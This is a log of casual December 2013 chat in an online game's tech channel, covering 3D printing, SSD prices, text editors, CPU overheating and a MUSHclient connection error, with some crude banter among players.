T3/r7/2013-12-02.txt.gz:{chan ch=tech}ElFeneri Tech: bad block management in the nand flash? Sure do.
T3/r7/2013-12-02.txt.gz:{chan ch=tech}[**NOPK**] Redwood Tech: big black men? no, not really my style.
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: i guess that says it all!
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: are 3D printers actually useful?
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Definitely Defines Tech: yes absolutely
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Hanslanda Tech: useful, yes.  Cheap, not quite.
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Vost Tech: more of a novelty at the moment
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Umado Tech: stand in one and build a brick wall
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Hanslanda Tech: there are plans for an all-3dprinted cellphone.
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: what would an average person use it for?  or even an above average person?
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Ehrsul Tech: anything to do with custom frabricated parts/modelling.
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Hanslanda Tech: probably something like sextoys, I would guess.
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Vost Tech: making a pistol?
T3/r7/2013-12-02.txt.gz:{chan ch=tech}ElFeneri Tech: it's of great use for some kinds of prototyping. Designers use them as well.
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: so it's industrial use, not consumer use?
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Hanslanda Tech: because of the price, yes.
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Notwalking Tech: you could always make 3d printers with one to sell to other people
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Vost Tech: there are cheap enthusiast ones like RepRap
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: do they print dollars or bitcoins?
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Hanslanda Tech: doing so is illegal
T3/r7/2013-12-02.txt.gz:{chan ch=tech}ElFeneri Tech: you can buy them for < 1k USD now though
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: they just make things out of plastic or what?
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Ehrsul Tech: best use for 3d printer is car repair/plastics repair type stuff
T3/r7/2013-12-02.txt.gz:{chan ch=tech}ElFeneri Tech: yeps, plastic.
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Ehrsul Tech: but still, requires some good craft skills
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: can I print bubble wrap to sell some old magic cards?
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Madcatz Tech: heard a couple of days ago that they're talking about building a working heart
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: bitcoins, bubble wrap... i'm never quite sure if kojiro is an excellent troll always in character or as retarded as he seems
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Umado Tech: hes not even an excellent troll
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Ehrsul Tech: yeah it has some great commercial medical applications
T3/r7/2013-12-02.txt.gz:{chan ch=tech}ElFeneri Tech: the plastic is like LEGO plastic
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Ehrsul Tech: print of plastic supplies as needed instead of bulk ordering, make plastic use more efficient
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Ehrsul Tech: course couldn't do that for ER type stuff
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: For this sort of query the usual troll is VampireDude, Koji is branching out
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Hanslanda Tech: they've been talking about organics printing for a long, long time, Madcatz (a good 10-15 years, at least).  Because of the unexpected delays in that, they've instead started printing food.
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: The type of plastic used is variable, also
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Zetkax Tech: here is something you can make with a 3d priner for christmas -> http://www.thingiverse.com/thing:194551
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: how can you print a working heart when it runs on electricity?
T3/r7/2013-12-02.txt.gz:{chan ch=tech}ElFeneri Tech: of course, they all don't use the same kind of plastic. Nor can all use all different kinds of plastic.
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Notwalking Tech: but the plastic isn't tasty, no matter the type
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Definitely Defines Tech: they arent all plastic
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Hanslanda Tech: you print it cell by cell, Kojiro.
T3/r7/2013-12-02.txt.gz:{chan ch=tech}ElFeneri Tech: no, but I think all the cheap variants that most "normal" consumers would consider buying. At least all I've seen.
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Definitely Defines Tech: there are cell "printers" but they're called transporters typically and usually are simultaneously destructive/constructive
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: The best thing about it for me is the ability to create custom chassis for game controllers, remote controls, even PC towers.
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: that sounds like it's worth maybe $100, vak
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: a voxeljet 3D printer costs > $1 million
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Not when you want to then sell the results...
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Madcatz Tech: So make 10K of them
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: oh, i see.  so they are useful for printing cool plastic things which you can sell for $$$
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: isn't think going to put china out of business?
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: You could turn a gameboy emulator into an actual gameboy.
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Madcatz Tech: Or for printing 3-d printers
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Notwalking Tech: and you can muddy the definition, tracks of conductive material laid by machine on a wafer is the same idea, and has been around for quite a while, but it's not the true "something from nothing"
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: can it print a time machine so I have another 40 minutes to play aardwolf?  i hear my wife coming up the stairs
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Umado Tech: yes, go buy one
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: btw, I hope you are all selling your bitcoin before it's worth nothing
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Notwalking Tech: the power requirements would be staggering, maybe if you could harness a lightning bolt
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Definitely Defines Tech: I wouldnt cash out quite yet
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: i was joking, everyone knows time machines can only slowdown the future, not travel back to the past
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Hanslanda Tech: they're actually on the verge of printing source-derived organics, Notwalking.  This means that if you go in for a transplant or have a fatal wound to a particular organ, they don't have to go looking at too-short transplant lists.  They just take some stem cells from you, pop it in the 3d printer, and print you a new organ.
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Notwalking Tech: that will be neat if they can get it to work
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Ehrsul Tech: stem cells, winnar.
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: not going to be that simple.  stem cells take time to divide and make whatever they are going to make
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Stem cells mean I can say I ate a baby.
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Notwalking Tech: it may not be the best emergency fix, but planned replacements from adult stem cells would be a great help
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: or chew umbilical cord jerky
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: hans, very few people die from wounds once they are in the hospital
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Madcatz Tech: They already made a working liver.
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Madcatz Tech: really really small, but working
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Hanslanda Tech: no, they'll be using adult stem cells from your own body.  Unless you really did eat a baby right before getting dumped onto the operating table, no babies would be involved.
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Notwalking Tech: Kojiro, barring MRSA, VRE, and the like
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: yea not, i'm just saying if you make it to the hospital with gunshot wounds, you are basically going to live these days
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: they have so much blood and drugs to keep you going
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Notwalking Tech: it is impressive
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: elon musk must be soiling his cashmere boxers about the Model S order declines due to fire PR
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Tigernuts Tech: elon musk is a tit
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: everyday I read bitch-like whining tweets from that guy
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Tigernuts Tech: he made his fortune by being in the right place at the right time, he didn't invent anything
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: I hope his car kills it, but he's pretty annoying
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: his sanctimonious blog post was incredible.  I've never seen somebody abuse statistics so bad and come across like a wizard
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Tigernuts Tech: there are those on here who believe him a hero who has done social good
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Hanslanda Tech: there's a lot of people who believe that about a lot of people.
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Tigernuts Tech: i just see him as an absurdly rich guy who is spending his money is a faux-philanphropic vanity celebrity exercise
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Hanslanda Tech: a monetary humble brag?
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Tigernuts Tech: not humble, it's more of a narcissism thing
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Ehrsul Tech: anyway you cut it, you're talking about him on the internet, i'm pretty sure he doesn't talk about you :P
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Tigernuts Tech: shrug, if you're a public figure you expect that
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Ehrsul Tech: don't hate, appreciate!
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Hanslanda Tech: that's what a humble brag is.  You say something that appears modest, but what you're really saying is "Look at me!  I'm a really successful douche who deserves this thing I got and you're not!"
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Tigernuts Tech: hey, i don't hate the guy, i just don't idolise him
T3/r7/2013-12-02.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: What do you know, in notepad++ just check "Wrap Around" option and you don't have to change search direction up/down anymore!
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Definitely Defines Tech: ew notepad++ no
T3/r7/2013-12-02.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Oh you know a better simple text editor?
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Tech: [Outlaw] Mendaloth tells Definitely Defines that she should learn emacs.
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Definitely Defines Tech: lol I have been there
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Definitely Defines Tech: emacs is one of my favorite OS's
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Pleiades Tech: I use notepad++
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Pleiades Tech: simple and works for me
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Definitely Defines Tech: on windows I use ultraedit 32
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Definitely Defines Tech: i usually stick with vi on nix
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Don't Bore Xyndor Tech: doesnt that cost money?
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Definitely Defines Tech: not if you steal it
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Definitely Defines Tech: but yeah I have a license
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Insane Xantcha Tech: I used to have a license for EditPad Pro I liked
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Don't Bore Xyndor Tech: code in notepad, be a man! (or woman)
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Definitely Defines Tech: I more or less agree with that... except color coding is nice
T3/r7/2013-12-02.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: It has color coding though!
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Tormat Tech: long as they code, you shouldnt complain :P
T3/r7/2013-12-02.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Oh the regular notepad...
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Don't Bore Xyndor Tech: compilers dont use color :)
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Definitely Defines Tech: yeah
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Definitely Defines Tech: some do... 
T3/r7/2013-12-02.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: I wish notepad had a simple function browser, I understand there are plugins, but haven't found a good one...
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Definitely Defines Tech: actually I finally found a decent PHP extension for visual studio
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Definitely Defines Tech: but I still tend to open the files in UE out of habit
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Definitely Defines Tech: it's a love hate thing.... but I also have dev licenses of resharper and have setup refactoring profiles for php and a number of other things... such ninja...
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Pleiades Tech: I only do xml and xpress... so a simple editor does the job
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Definitely Defines Tech: roger that. I bounce around so much... c#, php, python, perl, java, ruby...
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Definitely Defines Tech: fun times!
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Forfiter Tech: hello, can someone help me with Tmux ?
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Crnogorac Tech: how do I clear an area from winkles script?
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Zetkax Tech: clear an area? for xping?
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Crnogorac Tech: my xrt for glimmerdim are all wrong for some reason
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Crnogorac Tech: and campagin script aswell 
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Crnogorac Tech: campaign *
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Crnogorac Tech: found out, thanks all
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Zetkax Tech: mapper purgezone <area> ?
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Crnogorac Tech: nod
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: WOAH. Crucial M500 480GB SSD $269 USD
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: That is quickly getting to be a viable main drive.
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: 960 for $469 too, this is awesome :-)
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Redryn Tech: hold off if you can
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Redryn Tech: ssd prices can only go down
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Turie Tech: I am wondering how long till a SSD will be 1 TB for under $250.
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Redryn Tech: http://www.storagenewsletter.com/rubriques/market-reportsresearch/when-will-ssd-have-same-price-as-hdd-priceg2/
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Turie Tech: So, it will happen in about 2 years.
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I wonder what sort of extreme parallel options cheap SSDs will offer. HDDs latency for spinup and the sheer physical size of HDDs prohibits it, but you could conceivably set up 100 small SSDs in an array and display it under a single partition.
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Turie Tech: That would mean tablets would be holding more HD space for cheaper.
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Redryn Tech: would you need a 100tb partition for some reason?
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Turie Tech: To mine for Bitcoins!
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Redryn Tech: i doubt bitcoins need storage space
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Huh? I'd be talking about building a single 1T partition out of 100 10G SSDs for cheap
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Pumpkin Tech: mining bitcoin doesn't need any HDD space
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Redryn Tech: oh
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Turie Tech: I am being silly.
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Redryn Tech: i doubt that would be feasible
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Gener Tech: they are getting bigger..now called bytecoins
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Redryn Tech: they'd probably only mass produce ssd's in standard 2.5inch sizes
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Redryn Tech: so you'd need to fit 100 of those in a cpu case
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: It wouldn't be feasible from a consumer point of view, I'm talking deliberate production - saturate optical fibre connections for lightning fast cloud storage
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Turie Tech: So, is anyone surprised that China is basically going after Bloomberg for their "dropped" report about government corruption and the raiding of Bloomberg's office in China?
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Redryn Tech: i wonder if they will design parallel SSDs though, would that run faster than a single ssd?
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: And they mass produce much, much smaller flash memory for things like memory cards and USB sticks
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Forfiter Tech: pluging more that 20 SSD together is pointless as you will hit SATA bottleneck
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Forfiter Tech: or nowadays maybe even less, i think 4 SSDs will completely saturate STATA
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Redryn Tech: so the new computing bottleneck will be motherboards? :p
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Forfiter Tech: yes, but there are solutions to it - PCI SSDs
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Redryn Tech: haha
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Forfiter Tech: or even faster - DIMM SSDs
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Who said anything about SATA? Or a single cable, for that matter? Dedicated RAID controller with multiple outputs sending over decent optic might hit multiple Tbps
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: At that point the bottleneck becomes how fast and how efficiently can the controller split and retrieve storage pieces from each SSD
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Forfiter Tech: but then cheaper and better option is PCI-E SSD
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Redryn Tech: can you use a ssd as substitute ram?
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Eh, there will come a point where RAM disks are the best way to go, DDR9 or somthing and just slam your memory right onto the CPU/GPU.
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Forfiter Tech: there are first prototypes showing up where you can plug SSD into DIMM
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: You can Redryn, but distance from the CPU to the drive itself adds quite bad latency
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Forfiter Tech: it will make MUDs even faster! 
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Bad latency from a RAM perspective, of course, negligible in other areas
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Turie Tech: For bots to bot!
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Gener Tech: nah
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Forfiter Tech: anyone can help me with tmux ?
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I'm more interested in how quickly register/L2 space increases - that seems to be the bottleneck I hit most often when I benchmark
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Ehrsul Tech: yah, always why processors with big l2 is expensive
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: As we see more multi-coring, I think L2 will increase in kind. Hard to program with more than 4 cores in mind, though... I have enough trouble handling race with just 2 threads, let alone trying to manage 16 or 32 :-P
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Ehrsul Tech: i'm curious, is there a plugin or anything that can parse the combat text in game and do some basic statistics on damage per round?
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Redryn Tech: there is dtrack
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Ehrsul Tech: hrm, but that doesn't count skill use?
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Ehrsul Tech: useful though, might be able to work around that with some manual sampling
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Gener Tech: it does  help dtrack
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Ehrsul Tech: basically my idea is, i want to sample damage per round rates on different builds as i go through the mort, log it all with some analytics
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: There are a whole lot of interfering variables with that approach - mob resists being the biggest culprit
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Ehrsul Tech: yeah, no doubt, but can get a good idea of the median across enough samples
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Ehrsul Tech: my rela aim is kind of comparing the raw damage/round of full offense style build warrior versus mage
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Ehrsul Tech: napkin math right now has mage spells doing about 70 percent of my damage on average with a low luck build, str and int only 3 pts off after gear bonuses.
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Mushambo Tech: Okay...all desktop vents have been cleared, fan is running, Speccy STILL says my CPU is running at 99 celsius...seems excessive? Any suggestions?
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Mushambo Tech: "System Temperature" is 79 celsius
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Trachx Tech: check CPU and heatsing connection
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Crnogorac Tech: heatsink isnt connected properly, or paste is messed up
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Taste The Alestorm Tech: what crnogorac said
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Mushambo Tech: Case is not 100% though, side panel broke but i've sealed it best I can with electrical tape...could that also be it?
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Trachx Tech: your problem is CPU heatsink not case
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Mushambo Tech: What's a "normal" CPU and/or system temperature ? 
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Ayasinda Tech: 47-65 celcius. Depends a bit on the type of cpu
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Trachx Tech: for modern CPU, system temp usually is much lower
T3/r7/2013-12-03.txt.gz:{chan ch=tech}KingBatine Tech: I'm on the paypal screen, and it keeps saying I need to enable javascript on my browser or I can't continue, but my javascript is enabled, any ideas what could be causing the problems? (I'm using a blackberry)
T3/r7/2013-12-03.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Whatever method they are using to detect javascript settings doesn't work on blackberry?
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Trachx Tech: you could check also your HDD temperature - just to verify that inside case you have "fresh" air 
T3/r7/2013-12-03.txt.gz:{chan ch=tech}KingBatine Tech: so there's nothing to be done?
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Trachx Tech: you could try opera mini for blackberry
T3/r7/2013-12-03.txt.gz:{chan ch=tech}KingBatine Tech: thanx
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Mushambo Tech: both hdd's are around 35 C which speccy says is normal range <50
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Trachx Tech: your system temp / MB temp should be around that value 30-35
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Trachx Tech: if it is higher then probably you don't have heatsink on chipset
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Trachx Tech: which is quite popular recently - cost effective (for manufacturers)
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Mushambo Tech: friend built it for me 5 years ago, wouldn't be surprised...that something I presumably can learn to do from YouTube or should I take it somewhere?
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Tech: an issue with absolute numbers is that different CPUs and mobos use different frame of reference for their output...xx C is not necessarily xx C, as it's really being translated from a 1-to-something scale...lots of the dedicate "show me my temperature" utilities have some pretty fancy logic of "if from xxx line, transform it like yyy"
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Trachx Tech: after 5 years thermal compound between CPU and heatsink should be replaced
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Mushambo Tech: Performance wise still runs great, was hoping to get another year or more use from it
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Trachx Tech: depend on country, if your country has lead-free solder policy , then 5 years is near to end-of-life
T3/r7/2013-12-03.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Quick check, if I make a branch on a git repo and push it to a remote, the branch would be created on the remote, right?
T3/r7/2013-12-03.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Assuming I used "git push origin /branchname/"
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Lorken Tech: question - is there a way to flag a room noteleport and noportal in mapper if it is really not flagged that way?
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Yes, but you have to do so manually by editing the DB file
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: sqlite studio is a free editor if you need one
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Lorken Tech: not worth it to go to that much hassle, thanks vakieh
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Adrym Tech: whoever setup db backups is awesome :D
T3/r7/2013-12-03.txt.gz:{chan ch=tech}WinkleWinkle Tech: hi guys.. jsut dropped by to say hi
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Tormat Tech: hi.
T3/r7/2013-12-03.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: ha! that witch! wher's my torch?
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Awesomenator Tech: i need help when i try and use my mush client i get this---unable to create TCP/IP socket for"aardwolf(my world name)",code=10106(unable to initialize a service provide)---what do i do?
T3/r7/2013-12-03.txt.gz:{chan ch=tech}WinkleWinkle Tech: install a new version of mush.. see if it happens to that?
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Awesomenator Tech: ok i'll try but i downloaded it yesterday 
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Awesomenator Tech: i get the same message
T3/r7/2013-12-03.txt.gz:{chan ch=tech}WinkleWinkle Tech: maybe your firewall is blocking it..
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Jigabyte Tech: could it be your firewall blocking the MUSH app?
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Jigabyte Tech: mis
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Jigabyte Tech: aargh
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Awesomenator Tech: hmm no i disabled windows firewall and but bit defender to game mode
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Jigabyte Tech: also you are setting the ip and the port within the mush app itself?
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Awesomenator Tech: yeah i made IP=66.228.127.34 and port=23
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Jigabyte Tech: it should be port 4000 or 4010 i believe
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Jigabyte Tech: not sure about 23
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Hanslanda Tech: to my knowledge, firewall game modes don't stop the firewall from blocking stuff...they just stop all the alerts you get.
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Protogynus Robbo Tech: 'help ports' tells me 23 is fine too.
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Jigabyte Tech: ok
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Tormat Tech: try the other port just to see if it works.
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Awesomenator Tech: hmmm ok i'll try switch it off completley
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Jigabyte Tech: could work!
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Tormat Tech: but 23 should work as well
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Jigabyte Tech: power off at the socket and wait 30 seconds
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Jigabyte Tech: then boot up again
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Awesomenator Tech: how do i do that do i completley shut down?
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Jigabyte Tech: yes
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Jigabyte Tech: are you using windows?
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Awesomenator Tech: yes
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Jigabyte Tech: shut down, swith off at the socket, wait 30 seconds, switch on and power up again
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Tormat Tech: has it ever worked?
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Awesomenator Tech: hmm i'll try and no no matter what i've dont it just gives me that message
